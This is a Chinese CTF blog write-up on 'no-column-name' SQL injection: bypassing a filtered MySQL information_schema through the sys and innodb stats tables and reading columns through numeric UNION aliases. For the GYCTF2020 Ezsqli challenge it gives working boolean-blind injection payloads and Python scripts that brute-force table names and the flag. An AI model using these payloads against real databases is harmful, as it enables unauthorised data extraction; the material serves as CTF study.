无列名注入
什么是无列名注入?
顾名思义,就是在不知道列名的情况下进行 sql 注入。
在 MySQL 5以上的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在sql注入中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。
MySQL 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_stats和innodb_table_stats两张表
这两张表记录了数据库和表的信息,但是没有列名
select group_concat(database_name) from mysql.innodb_index_stats; | |
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database() |
MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。
sys库的两种形式:
1.正常的:schema_table_statistics_with_buffer(适合人阅读)
2.以x$开头:x$schema_table_statistics_with_buffer(适合工具采集数据)
如果这两个方法都不能获取表名,那就需要进行无列名注入
无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。
这里用owasp的虚拟机进行测试
1、正常查询
select*from users
一共有六个列名
将列名用数字代替
select 1,2,3,4,5,6 union select * from users;
列名被替换为数字,也就是说,我们可以继续数字来对应列,如 5 对应了表里面的 password
select `6` from (select 1,2,3,4,5,6 union select * from users)a;
ps:末尾的 a 可以是任意字符,用于命名。
简而言之,可以通过任意命名进入该表,然后使用 SELECT 查询这些字段中的任何已知值。
例题:
[GYCTF2020]Ezsqli
进行fuzz测试后发现information_schema库被过滤了,fuzz测试过程跳过,直接快进到开注
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break
(手注还是太吃操作了,直接偷了个脚本来)
[GYCTF2020]Ezsqli(无列名注入)-优快云博客
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break
直接一把梭出flag
过程不重要,主要解释下payload:
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
这里就是用sys库的schema_table_statistics_with_buffer爆破出表名,脚本原理类似sql盲注
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
这里就是简单的无列名注入,脚本原理同上
得到flag后转小写就好
ps:这里因为前面那个脚本不知道为什么全是乱码所以又换了一个脚本